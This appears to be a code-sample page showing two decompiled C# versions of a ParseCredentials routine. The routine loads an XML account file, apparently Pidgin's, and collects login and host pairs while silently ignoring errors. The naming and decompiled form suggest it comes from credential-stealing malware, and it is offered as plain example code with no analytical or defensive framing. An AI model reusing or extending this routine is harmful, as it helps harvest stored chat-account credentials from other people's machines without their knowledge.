Ejemplo n.º 1
0
        // Token: 0x0600028C RID: 652 RVA: 0x0000A258 File Offset: 0x00008458
        private static List <LoginPair> ParseCredentials(string Path)
        {
            List <LoginPair> list = new List <LoginPair>();

            try
            {
                XmlTextReader reader      = new XmlTextReader(Path);
                XmlDocument   xmlDocument = new XmlDocument();
                xmlDocument.Load(reader);
                foreach (object obj in xmlDocument.DocumentElement.ChildNodes)
                {
                    LoginPair loginPair = Pidgin.ParseAccounts((XmlNode)obj);
                    if (loginPair.Login != "UNKNOWN" && loginPair.Host != "UNKNOWN")
                    {
                        list.Add(loginPair);
                    }
                }
            }
            catch
            {
            }
            return(list);
        }
Ejemplo n.º 2
0
        private static List <LoginPair> ParseCredentials(string Path)
        {
            List <LoginPair> loginPairList = new List <LoginPair>();

            try
            {
                XmlTextReader xmlTextReader = new XmlTextReader(Path);
                XmlDocument   xmlDocument   = new XmlDocument();
                xmlDocument.Load((XmlReader)xmlTextReader);
                foreach (XmlNode childNode in xmlDocument.DocumentElement.ChildNodes)
                {
                    LoginPair accounts = Pidgin.ParseAccounts(childNode);
                    if (accounts.Login != "UNKNOWN" && accounts.Host != "UNKNOWN")
                    {
                        loginPairList.Add(accounts);
                    }
                }
            }
            catch
            {
            }
            return(loginPairList);
        }